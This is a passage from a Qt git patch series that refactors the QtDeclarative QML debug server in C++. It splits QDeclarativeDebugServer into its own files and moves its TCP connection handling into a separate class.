following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "private/qdeclarativedebugserver_p.h" +#include "private/qdeclarativedebugservice_p.h" +#include "private/qdeclarativedebugservice_p_p.h" +#include "private/qdeclarativeengine_p.h" + +#include "private/qpacketprotocol_p.h" + +#include + +#include +#include + +#include +#include + +QT_BEGIN_NAMESPACE + +/* + QDeclarativeDebug Protocol (Version 1): + + handshake: + 1. Client sends + "QDeclarativeDebugServer" 0 version pluginNames + version: an int representing the highest protocol version the client knows + pluginNames: plugins available on client side + 2. Server sends + "QDeclarativeDebugClient" 0 version pluginNames + version: an int representing the highest protocol version the client & server know + pluginNames: plugins available on server side. plugins both in the client and server message are enabled. + client plugin advertisement + 1. Client sends + "QDeclarativeDebugServer" 1 pluginNames + server plugin advertisement + 1. Server sends + "QDeclarativeDebugClient" 1 pluginNames + plugin communication: + Everything send with a header different to "QDeclarativeDebugServer" is sent to the appropriate plugin. + */ + +const int protocolVersion = 1; + + +class QDeclarativeDebugServerPrivate : public QObjectPrivate +{ + Q_DECLARE_PUBLIC(QDeclarativeDebugServer) +public: + QDeclarativeDebugServerPrivate(); + + void advertisePlugins(); + + int port; + QTcpSocket *connection; + QPacketProtocol *protocol; + QHash plugins; + QStringList clientPlugins; + QTcpServer *tcpServer; + bool gotHello; +}; + +QDeclarativeDebugServerPrivate::QDeclarativeDebugServerPrivate() +: connection(0), protocol(0), gotHello(false) +{ +} + +void QDeclarativeDebugServerPrivate::advertisePlugins() +{ + if (!connection + || connection->state() != QTcpSocket::ConnectedState + || !gotHello) + return; + + QPacket pack; + pack << QString(QLatin1String("QDeclarativeDebugClient")) << 1 << plugins.keys(); + protocol->send(pack); + connection->flush(); +} + +void QDeclarativeDebugServer::listen() +{ + Q_D(QDeclarativeDebugServer); + + d->tcpServer = new QTcpServer(this); + QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection())); + if (d->tcpServer->listen(QHostAddress::Any, d->port)) + qWarning("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port); + else + qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port); +} + +void QDeclarativeDebugServer::waitForConnection() +{ + Q_D(QDeclarativeDebugServer); + d->tcpServer->waitForNewConnection(-1); +} + +void QDeclarativeDebugServer::newConnection() +{ + Q_D(QDeclarativeDebugServer); + + if (d->connection) { + qWarning("QDeclarativeDebugServer error: another client is already connected"); + QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection(); + delete faultyConnection; + return; + } + + d->connection = d->tcpServer->nextPendingConnection(); + d->connection->setParent(this); + d->protocol = new QPacketProtocol(d->connection, this); + QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); +} + +bool QDeclarativeDebugServer::hasDebuggingClient() const +{ + Q_D(const QDeclarativeDebugServer); + return d->connection + && (d->connection->state() == QTcpSocket::ConnectedState) + && d->gotHello; +} + +QDeclarativeDebugServer *QDeclarativeDebugServer::instance() +{ + static bool commandLineTested = false; + static QDeclarativeDebugServer *server = 0; + + if (!commandLineTested) { + commandLineTested = true; + +#ifndef QDECLARATIVE_NO_DEBUG_PROTOCOL + QApplicationPrivate *appD = static_cast(QObjectPrivate::get(qApp)); + // ### remove port definition when protocol is changed + int port = 0; + bool block = false; + bool ok = false; + + // format: qmljsdebugger=port:3768[,block] + if (!appD->qmljsDebugArgumentsString().isEmpty()) { + if (!QDeclarativeEnginePrivate::qml_debugging_enabled) { + const QString message = + QString::fromAscii("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". " + "Debugging has not been enabled.").arg( + appD->qmljsDebugArgumentsString()); + qWarning("%s", qPrintable(message)); + return 0; + } + + if (appD->qmljsDebugArgumentsString().indexOf(QLatin1String("port:")) == 0) { + int separatorIndex = appD->qmljsDebugArgumentsString().indexOf(QLatin1Char(',')); + port = appD->qmljsDebugArgumentsString().mid(5, separatorIndex - 5).toInt(&ok); + } + block = appD->qmljsDebugArgumentsString().contains(QLatin1String("block")); + + if (ok) { + server = new QDeclarativeDebugServer(port); + server->listen(); + if (block) { + server->waitForConnection(); + } + } else { + qWarning(QString::fromAscii("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". " + "Format is -qmljsdebugger=port:[,block]").arg( + appD->qmljsDebugArgumentsString()).toAscii().constData()); + } + } +#endif + } + + return server; +} + +QDeclarativeDebugServer::QDeclarativeDebugServer(int port) +: QObject(*(new QDeclarativeDebugServerPrivate)) +{ + Q_D(QDeclarativeDebugServer); + d->port = port; +} + +void QDeclarativeDebugServer::readyRead() +{ + Q_D(QDeclarativeDebugServer); + + if (!d->gotHello) { + QPacket hello = d->protocol->read(); + + QString name; + int op; + hello >> name >> op; + + if (name != QLatin1String("QDeclarativeDebugServer") + || op != 0) { + qWarning("QDeclarativeDebugServer: Invalid hello message"); + QObject::disconnect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); + d->protocol->deleteLater(); + d->protocol = 0; + d->connection->deleteLater(); + d->connection = 0; + return; + } + + int version; + hello >> version >> d->clientPlugins; + + QHash::Iterator iter = d->plugins.begin(); + for (; iter != d->plugins.end(); ++iter) { + QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable; + if (d->clientPlugins.contains(iter.key())) + newStatus = QDeclarativeDebugService::Enabled; + iter.value()->d_func()->status = newStatus; + iter.value()->statusChanged(newStatus); + } + + QPacket helloAnswer; + helloAnswer << QString(QLatin1String("QDeclarativeDebugClient")) << 0 << protocolVersion << d->plugins.keys(); + d->protocol->send(helloAnswer); + d->connection->flush(); + + d->gotHello = true; + qWarning("QDeclarativeDebugServer: Connection established"); + } + + QString debugServer(QLatin1String("QDeclarativeDebugServer")); + + while (d->protocol->packetsAvailable()) { + QPacket pack = d->protocol->read(); + + QString name; + pack >> name; + + if (name == debugServer) { + int op = -1; + pack >> op; + + if (op == 1) { + // Service Discovery + QStringList oldClientPlugins = d->clientPlugins; + pack >> d->clientPlugins; + + QHash::Iterator iter = d->plugins.begin(); + for (; iter != d->plugins.end(); ++iter) { + const QString pluginName = iter.key(); + QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable; + if (d->clientPlugins.contains(pluginName)) + newStatus = QDeclarativeDebugService::Enabled; + + if (oldClientPlugins.contains(pluginName) + != d->clientPlugins.contains(pluginName)) { + iter.value()->d_func()->status = newStatus; + iter.value()->statusChanged(newStatus); + } + } + } else { + qWarning("QDeclarativeDebugServer: Invalid control message %d", op); + } + } else { + QByteArray message; + pack >> message; + + QHash::Iterator iter = + d->plugins.find(name); + if (iter == d->plugins.end()) { + qWarning() << "QDeclarativeDebugServer: Message received for missing plugin" << name; + } else { + (*iter)->messageReceived(message); + } + } + } +} + + +QList QDeclarativeDebugServer::services() const +{ + const Q_D(QDeclarativeDebugServer); + return d->plugins.values(); +} + +QStringList QDeclarativeDebugServer::serviceNames() const +{ + const Q_D(QDeclarativeDebugServer); + return d->plugins.keys(); +} + +bool QDeclarativeDebugServer::addService(QDeclarativeDebugService *service) +{ + Q_D(QDeclarativeDebugServer); + if (!service || d->plugins.contains(service->name())) + return false; + + d->plugins.insert(service->name(), service); + d->advertisePlugins(); + + QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable; + if (d->clientPlugins.contains(service->name())) + newStatus = QDeclarativeDebugService::Enabled; + service->d_func()->status = newStatus; + service->statusChanged(newStatus); + return true; +} + +bool QDeclarativeDebugServer::removeService(QDeclarativeDebugService *service) +{ + Q_D(QDeclarativeDebugServer); + if (!service || !d->plugins.contains(service->name())) + return false; + + d->plugins.remove(service->name()); + d->advertisePlugins(); + + QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::NotConnected; + service->d_func()->server = 0; + service->d_func()->status = newStatus; + service->statusChanged(newStatus); + return true; +} + +void QDeclarativeDebugServer::sendMessage(QDeclarativeDebugService *service, + const QByteArray &message) +{ + Q_D(QDeclarativeDebugServer); + QPacket pack; + pack << service->name() << message; + d->protocol->send(pack); + d->connection->flush(); +} + +QT_END_NAMESPACE diff --git a/src/declarative/debugger/qdeclarativedebugserver_p.h b/src/declarative/debugger/qdeclarativedebugserver_p.h new file mode 100644 index 0000000..6840d63 --- /dev/null +++ b/src/declarative/debugger/qdeclarativedebugserver_p.h @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVEDEBUGSERVER_H +#define QDECLARATIVEDEBUGSERVER_H + +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Declarative) + +class QDeclarativeDebugService; + +class QDeclarativeDebugServerPrivate; +class QDeclarativeDebugServer : public QObject +{ + Q_OBJECT + Q_DECLARE_PRIVATE(QDeclarativeDebugServer) + Q_DISABLE_COPY(QDeclarativeDebugServer) +public: + static QDeclarativeDebugServer *instance(); + void listen(); + void waitForConnection(); + bool hasDebuggingClient() const; + + QList services() const; + QStringList serviceNames() const; + + bool addService(QDeclarativeDebugService *service); + bool removeService(QDeclarativeDebugService *service); + + void sendMessage(QDeclarativeDebugService *service, const QByteArray &message); + +private Q_SLOTS: + void readyRead(); + void newConnection(); + +private: + friend class QDeclarativeDebugService; + friend class QDeclarativeDebugServicePrivate; + QDeclarativeDebugServer(int); +}; + +QT_END_NAMESPACE + +QT_END_HEADER + +#endif // QDECLARATIVEDEBUGSERVICE_H diff --git a/src/declarative/debugger/qdeclarativedebugservice.cpp b/src/declarative/debugger/qdeclarativedebugservice.cpp index 849df73..9d321da 100644 --- a/src/declarative/debugger/qdeclarativedebugservice.cpp +++ b/src/declarative/debugger/qdeclarativedebugservice.cpp @@ -40,301 +40,14 @@ ****************************************************************************/ #include "private/qdeclarativedebugservice_p.h" +#include "private/qdeclarativedebugservice_p_p.h" +#include "private/qdeclarativedebugserver_p.h" -#include "private/qpacketprotocol_p.h" -#include "private/qdeclarativeengine_p.h" - -#include -#include -#include -#include - -#include -#include -#include +#include +#include QT_BEGIN_NAMESPACE -/* - QDeclarativeDebug Protocol (Version 1): - - handshake: - 1. Client sends - "QDeclarativeDebugServer" 0 version pluginNames - version: an int representing the highest protocol version the client knows - pluginNames: plugins available on client side - 2. Server sends - "QDeclarativeDebugClient" 0 version pluginNames - version: an int representing the highest protocol version the client & server know - pluginNames: plugins available on server side. plugins both in the client and server message are enabled. - client plugin advertisement - 1. Client sends - "QDeclarativeDebugServer" 1 pluginNames - server plugin advertisement - 1. Server sends - "QDeclarativeDebugClient" 1 pluginNames - plugin communication: - Everything send with a header different to "QDeclarativeDebugServer" is sent to the appropriate plugin. - */ - -const int protocolVersion = 1; - -class QDeclarativeDebugServerPrivate; -class QDeclarativeDebugServer : public QObject -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarativeDebugServer) - Q_DISABLE_COPY(QDeclarativeDebugServer) -public: - static QDeclarativeDebugServer *instance(); - void listen(); - void waitForConnection(); - bool hasDebuggingClient() const; - -private Q_SLOTS: - void readyRead(); - void newConnection(); - -private: - friend class QDeclarativeDebugService; - friend class QDeclarativeDebugServicePrivate; - QDeclarativeDebugServer(int); -}; - -class QDeclarativeDebugServerPrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarativeDebugServer) -public: - QDeclarativeDebugServerPrivate(); - - void advertisePlugins(); - - int port; - QTcpSocket *connection; - QPacketProtocol *protocol; - QHash plugins; - QStringList clientPlugins; - QTcpServer *tcpServer; - bool gotHello; -}; - -class QDeclarativeDebugServicePrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarativeDebugService) -public: - QDeclarativeDebugServicePrivate(); - - QString name; - QDeclarativeDebugServer *server; -}; - -QDeclarativeDebugServerPrivate::QDeclarativeDebugServerPrivate() -: connection(0), protocol(0), gotHello(false) -{ -} - -void QDeclarativeDebugServerPrivate::advertisePlugins() -{ - if (!connection - || connection->state() != QTcpSocket::ConnectedState - || !gotHello) - return; - - QPacket pack; - pack << QString(QLatin1String("QDeclarativeDebugClient")) << 1 << plugins.keys(); - protocol->send(pack); - connection->flush(); -} - -void QDeclarativeDebugServer::listen() -{ - Q_D(QDeclarativeDebugServer); - - d->tcpServer = new QTcpServer(this); - QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection())); - if (d->tcpServer->listen(QHostAddress::Any, d->port)) - qWarning("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port); - else - qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port); -} - -void QDeclarativeDebugServer::waitForConnection() -{ - Q_D(QDeclarativeDebugServer); - d->tcpServer->waitForNewConnection(-1); -} - -void QDeclarativeDebugServer::newConnection() -{ - Q_D(QDeclarativeDebugServer); - - if (d->connection) { - qWarning("QDeclarativeDebugServer error: another client is already connected"); - QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection(); - delete faultyConnection; - return; - } - - d->connection = d->tcpServer->nextPendingConnection(); - d->connection->setParent(this); - d->protocol = new QPacketProtocol(d->connection, this); - QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); -} - -bool QDeclarativeDebugServer::hasDebuggingClient() const -{ - Q_D(const QDeclarativeDebugServer); - return d->connection - && (d->connection->state() == QTcpSocket::ConnectedState) - && d->gotHello; -} - -QDeclarativeDebugServer *QDeclarativeDebugServer::instance() -{ - static bool commandLineTested = false; - static QDeclarativeDebugServer *server = 0; - - if (!commandLineTested) { - commandLineTested = true; - -#ifndef QDECLARATIVE_NO_DEBUG_PROTOCOL - QApplicationPrivate *appD = static_cast(QObjectPrivate::get(qApp)); - // ### remove port definition when protocol is changed - int port = 0; - bool block = false; - bool ok = false; - - // format: qmljsdebugger=port:3768[,block] - if (!appD->qmljsDebugArgumentsString().isEmpty()) { - if (!QDeclarativeEnginePrivate::qml_debugging_enabled) { - qWarning() << QString::fromLatin1("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". " - "Debugging has not been enabled.").arg( - appD->qmljsDebugArgumentsString()).toAscii().constData(); - return 0; - } - - if (appD->qmljsDebugArgumentsString().indexOf(QLatin1String("port:")) == 0) { - int separatorIndex = appD->qmljsDebugArgumentsString().indexOf(QLatin1Char(',')); - port = appD->qmljsDebugArgumentsString().mid(5, separatorIndex - 5).toInt(&ok); - } - block = appD->qmljsDebugArgumentsString().contains(QLatin1String("block")); - - if (ok) { - server = new QDeclarativeDebugServer(port); - server->listen(); - if (block) { - server->waitForConnection(); - } - } else { - const QString message = - QString::fromAscii("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". " - "Format is -qmljsdebugger=port:[,block]"). - arg(appD->qmljsDebugArgumentsString()); - qWarning("%s", qPrintable(message)); - } - } -#endif - } - - return server; -} - -QDeclarativeDebugServer::QDeclarativeDebugServer(int port) -: QObject(*(new QDeclarativeDebugServerPrivate)) -{ - Q_D(QDeclarativeDebugServer); - d->port = port; -} - -void QDeclarativeDebugServer::readyRead() -{ - Q_D(QDeclarativeDebugServer); - - if (!d->gotHello) { - QPacket hello = d->protocol->read(); - - QString name; - int op; - hello >> name >> op; - - if (name != QLatin1String("QDeclarativeDebugServer") - || op != 0) { - qWarning("QDeclarativeDebugServer: Invalid hello message"); - QObject::disconnect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); - d->protocol->deleteLater(); - d->protocol = 0; - d->connection->deleteLater(); - d->connection = 0; - return; - } - - int version; - hello >> version >> d->clientPlugins; - - QHash::Iterator iter = d->plugins.begin(); - for (; iter != d->plugins.end(); ++iter) { - QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable; - if (d->clientPlugins.contains(iter.key())) - newStatus = QDeclarativeDebugService::Enabled; - iter.value()->statusChanged(newStatus); - } - - QPacket helloAnswer; - helloAnswer << QString(QLatin1String("QDeclarativeDebugClient")) << 0 << protocolVersion << d->plugins.keys(); - d->protocol->send(helloAnswer); - d->connection->flush(); - - d->gotHello = true; - qWarning("QDeclarativeDebugServer: Connection established"); - } - - QString debugServer(QLatin1String("QDeclarativeDebugServer")); - - while (d->protocol->packetsAvailable()) { - QPacket pack = d->protocol->read(); - - QString name; - pack >> name; - - if (name == debugServer) { - int op = -1; - pack >> op; - - if (op == 1) { - // Service Discovery - QStringList oldClientPlugins = d->clientPlugins; - pack >> d->clientPlugins; - - QHash::Iterator iter = d->plugins.begin(); - for (; iter != d->plugins.end(); ++iter) { - const QString pluginName = iter.key(); - QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable; - if (d->clientPlugins.contains(pluginName)) - newStatus = QDeclarativeDebugService::Enabled; - - if (oldClientPlugins.contains(pluginName) - != d->clientPlugins.contains(pluginName)) { - iter.value()->statusChanged(newStatus); - } - } - } else { - qWarning("QDeclarativeDebugServer: Invalid control message %d", op); - } - } else { - QByteArray message; - pack >> message; - - QHash::Iterator iter = - d->plugins.find(name); - if (iter == d->plugins.end()) { - qWarning() << "QDeclarativeDebugServer: Message received for missing plugin" << name; - } else { - (*iter)->messageReceived(message); - } - } - } -} - QDeclarativeDebugServicePrivate::QDeclarativeDebugServicePrivate() : server(0) { @@ -346,16 +59,16 @@ QDeclarativeDebugService::QDeclarativeDebugService(const QString &name, QObject Q_D(QDeclarativeDebugService); d->name = name; d->server = QDeclarativeDebugServer::instance(); + d->status = QDeclarativeDebugService::NotConnected; if (!d->server) return; - if (d->server->d_func()->plugins.contains(name)) { + if (d->server->serviceNames().contains(name)) { qWarning() << "QDeclarativeDebugService: Conflicting plugin name" << name; d->server = 0; } else { - d->server->d_func()->plugins.insert(name, this); - d->server->d_func()->advertisePlugins(); + d->server->addService(this); } } @@ -363,8 +76,7 @@ QDeclarativeDebugService::~QDeclarativeDebugService() { Q_D(const QDeclarativeDebugService); if (d->server) { - d->server->d_func()->plugins.remove(d->name); - d->server->d_func()->advertisePlugins(); + d->server->removeService(this); } } @@ -377,13 +89,7 @@ QString QDeclarativeDebugService::name() const QDeclarativeDebugService::Status QDeclarativeDebugService::status() const { Q_D(const QDeclarativeDebugService); - if (!d->server - || !d->server->hasDebuggingClient()) - return NotConnected; - if (d->server->d_func()->clientPlugins.contains(d->name)) - return Enabled; - - return Unavailable; + return d->status; } namespace { @@ -500,10 +206,7 @@ void QDeclarativeDebugService::sendMessage(const QByteArray &message) if (status() != Enabled) return; - QPacket pack; - pack << d->name << message; - d->server->d_func()->protocol->send(pack); - d->server->d_func()->connection->flush(); + d->server->sendMessage(this, message); } void QDeclarativeDebugService::statusChanged(Status) @@ -515,5 +218,3 @@ void QDeclarativeDebugService::messageReceived(const QByteArray &) } QT_END_NAMESPACE - -#include diff --git a/src/declarative/debugger/qdeclarativedebugservice_p_p.h b/src/declarative/debugger/qdeclarativedebugservice_p_p.h new file mode 100644 index 0000000..d2c8dda --- /dev/null +++ b/src/declarative/debugger/qdeclarativedebugservice_p_p.h @@ -0,0 +1,71 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVEDEBUGSERVICE_P_H +#define QDECLARATIVEDEBUGSERVICE_P_H + +#include +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Declarative) + +class QDeclarativeDebugServer; + +class QDeclarativeDebugServicePrivate : public QObjectPrivate +{ + Q_DECLARE_PUBLIC(QDeclarativeDebugService) +public: + QDeclarativeDebugServicePrivate(); + + QString name; + QDeclarativeDebugServer *server; + QDeclarativeDebugService::Status status; +}; + +QT_END_NAMESPACE + +QT_END_HEADER + +#endif // QDECLARATIVEDEBUGSERVICE_P_H -- cgit v0.12 From 5336e1838a95d97d34863b668ff797582c226e79 Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Wed, 24 Nov 2010 19:50:09 +0100 Subject: QDeclarativeDebug: Move networking code out of QDeclarativeDebugServer Move socket handling code out of QDeclarativeDebugServer into a QDeclarativeDebugServer(Tcp)Connection class. Reviewed-by: Christiaan Janssen --- src/declarative/debugger/debugger.pri | 8 +- .../debugger/qdeclarativedebugserver.cpp | 131 ++++++----------- .../debugger/qdeclarativedebugserver_p.h | 13 +- .../debugger/qdeclarativedebugserverconnection_p.h | 68 +++++++++ .../debugger/qdeclarativedebugserverplugin_p.h | 0 .../qdeclarativedebugservertcpconnection.cpp | 163 +++++++++++++++++++++ .../qdeclarativedebugservertcpconnection_p.h | 86 +++++++++++ src/declarative/debugger/qpacketprotocol.cpp | 8 + src/declarative/debugger/qpacketprotocol_p.h | 1 + 9 files changed, 383 insertions(+), 95 deletions(-) create mode 100644 src/declarative/debugger/qdeclarativedebugserverconnection_p.h create mode 100644 src/declarative/debugger/qdeclarativedebugserverplugin_p.h create mode 100644 src/declarative/debugger/qdeclarativedebugservertcpconnection.cpp create mode 100644 src/declarative/debugger/qdeclarativedebugservertcpconnection_p.h diff --git a/src/declarative/debugger/debugger.pri b/src/declarative/debugger/debugger.pri index 144d896..e7354dc 100644 --- a/src/declarative/debugger/debugger.pri +++ b/src/declarative/debugger/debugger.pri @@ -8,7 +8,8 @@ SOURCES += \ $$PWD/qdeclarativedebug.cpp \ $$PWD/qdeclarativedebugtrace.cpp \ $$PWD/qdeclarativedebughelper.cpp \ - $$PWD/qdeclarativedebugserver.cpp + $$PWD/qdeclarativedebugserver.cpp \ + $$PWD/qdeclarativedebugservertcpconnection.cpp HEADERS += \ $$PWD/qdeclarativedebuggerstatus_p.h \ @@ -19,4 +20,7 @@ HEADERS += \ $$PWD/qdeclarativedebug_p.h \ $$PWD/qdeclarativedebugtrace_p.h \ $$PWD/qdeclarativedebughelper_p.h \ - $$PWD/qdeclarativedebugserver_p.h + $$PWD/qdeclarativedebugserverplugin_p.h \ + $$PWD/qdeclarativedebugserver_p.h \ + $$PWD/qdeclarativedebugservertcpconnection_p.h \ + debugger/qdeclarativedebugserverconnection_p.h diff --git a/src/declarative/debugger/qdeclarativedebugserver.cpp b/src/declarative/debugger/qdeclarativedebugserver.cpp index 4bb4e2c..6085e3e 100644 --- a/src/declarative/debugger/qdeclarativedebugserver.cpp +++ b/src/declarative/debugger/qdeclarativedebugserver.cpp @@ -42,15 +42,11 @@ #include "private/qdeclarativedebugserver_p.h" #include "private/qdeclarativedebugservice_p.h" #include "private/qdeclarativedebugservice_p_p.h" +#include "private/qdeclarativedebugservertcpconnection_p.h" #include "private/qdeclarativeengine_p.h" -#include "private/qpacketprotocol_p.h" - #include -#include -#include - #include #include @@ -89,73 +85,36 @@ public: void advertisePlugins(); - int port; - QTcpSocket *connection; - QPacketProtocol *protocol; + QDeclarativeDebugServerConnection *connection; QHash plugins; QStringList clientPlugins; - QTcpServer *tcpServer; bool gotHello; }; -QDeclarativeDebugServerPrivate::QDeclarativeDebugServerPrivate() -: connection(0), protocol(0), gotHello(false) +QDeclarativeDebugServerPrivate::QDeclarativeDebugServerPrivate() : + connection(0), + gotHello(false) { } void QDeclarativeDebugServerPrivate::advertisePlugins() { - if (!connection - || connection->state() != QTcpSocket::ConnectedState - || !gotHello) + if (!gotHello) return; - QPacket pack; - pack << QString(QLatin1String("QDeclarativeDebugClient")) << 1 << plugins.keys(); - protocol->send(pack); - connection->flush(); -} - -void QDeclarativeDebugServer::listen() -{ - Q_D(QDeclarativeDebugServer); - - d->tcpServer = new QTcpServer(this); - QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection())); - if (d->tcpServer->listen(QHostAddress::Any, d->port)) - qWarning("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port); - else - qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port); -} - -void QDeclarativeDebugServer::waitForConnection() -{ - Q_D(QDeclarativeDebugServer); - d->tcpServer->waitForNewConnection(-1); -} - -void QDeclarativeDebugServer::newConnection() -{ - Q_D(QDeclarativeDebugServer); - - if (d->connection) { - qWarning("QDeclarativeDebugServer error: another client is already connected"); - QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection(); - delete faultyConnection; - return; + QByteArray message; + { + QDataStream out(&message, QIODevice::WriteOnly); + out << QString(QLatin1String("QDeclarativeDebugClient")) << 1 << plugins.keys(); } - - d->connection = d->tcpServer->nextPendingConnection(); - d->connection->setParent(this); - d->protocol = new QPacketProtocol(d->connection, this); - QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); + connection->send(message); } bool QDeclarativeDebugServer::hasDebuggingClient() const { Q_D(const QDeclarativeDebugServer); return d->connection - && (d->connection->state() == QTcpSocket::ConnectedState) + && d->connection->isConnected() && d->gotHello; } @@ -192,11 +151,17 @@ QDeclarativeDebugServer *QDeclarativeDebugServer::instance() block = appD->qmljsDebugArgumentsString().contains(QLatin1String("block")); if (ok) { - server = new QDeclarativeDebugServer(port); - server->listen(); + server = new QDeclarativeDebugServer(); + + QDeclarativeDebugServerTcpConnection *tcpConnection + = new QDeclarativeDebugServerTcpConnection(port, server); + + tcpConnection->listen(); if (block) { - server->waitForConnection(); + tcpConnection->waitForConnection(); } + + server->d_func()->connection = tcpConnection; } else { qWarning(QString::fromAscii("QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". " "Format is -qmljsdebugger=port:[,block]").arg( @@ -209,37 +174,31 @@ QDeclarativeDebugServer *QDeclarativeDebugServer::instance() return server; } -QDeclarativeDebugServer::QDeclarativeDebugServer(int port) +QDeclarativeDebugServer::QDeclarativeDebugServer() : QObject(*(new QDeclarativeDebugServerPrivate)) { - Q_D(QDeclarativeDebugServer); - d->port = port; } -void QDeclarativeDebugServer::readyRead() +void QDeclarativeDebugServer::receiveMessage(const QByteArray &message) { Q_D(QDeclarativeDebugServer); + QDataStream in(message); if (!d->gotHello) { - QPacket hello = d->protocol->read(); QString name; int op; - hello >> name >> op; + in >> name >> op; if (name != QLatin1String("QDeclarativeDebugServer") || op != 0) { qWarning("QDeclarativeDebugServer: Invalid hello message"); - QObject::disconnect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead())); - d->protocol->deleteLater(); - d->protocol = 0; - d->connection->deleteLater(); - d->connection = 0; + d->connection->disconnect(); return; } int version; - hello >> version >> d->clientPlugins; + in >> version >> d->clientPlugins; QHash::Iterator iter = d->plugins.begin(); for (; iter != d->plugins.end(); ++iter) { @@ -250,31 +209,30 @@ void QDeclarativeDebugServer::readyRead() iter.value()->statusChanged(newStatus); } - QPacket helloAnswer; - helloAnswer << QString(QLatin1String("QDeclarativeDebugClient")) << 0 << protocolVersion << d->plugins.keys(); - d->protocol->send(helloAnswer); - d->connection->flush(); + QByteArray helloAnswer; + { + QDataStream out(&helloAnswer, QIODevice::WriteOnly); + out << QString(QLatin1String("QDeclarativeDebugClient")) << 0 << protocolVersion << d->plugins.keys(); + } + d->connection->send(helloAnswer); d->gotHello = true; qWarning("QDeclarativeDebugServer: Connection established"); - } + } else { - QString debugServer(QLatin1String("QDeclarativeDebugServer")); - - while (d->protocol->packetsAvailable()) { - QPacket pack = d->protocol->read(); + QString debugServer(QLatin1String("QDeclarativeDebugServer")); QString name; - pack >> name; + in >> name; if (name == debugServer) { int op = -1; - pack >> op; + in >> op; if (op == 1) { // Service Discovery QStringList oldClientPlugins = d->clientPlugins; - pack >> d->clientPlugins; + in >> d->clientPlugins; QHash::Iterator iter = d->plugins.begin(); for (; iter != d->plugins.end(); ++iter) { @@ -294,7 +252,7 @@ void 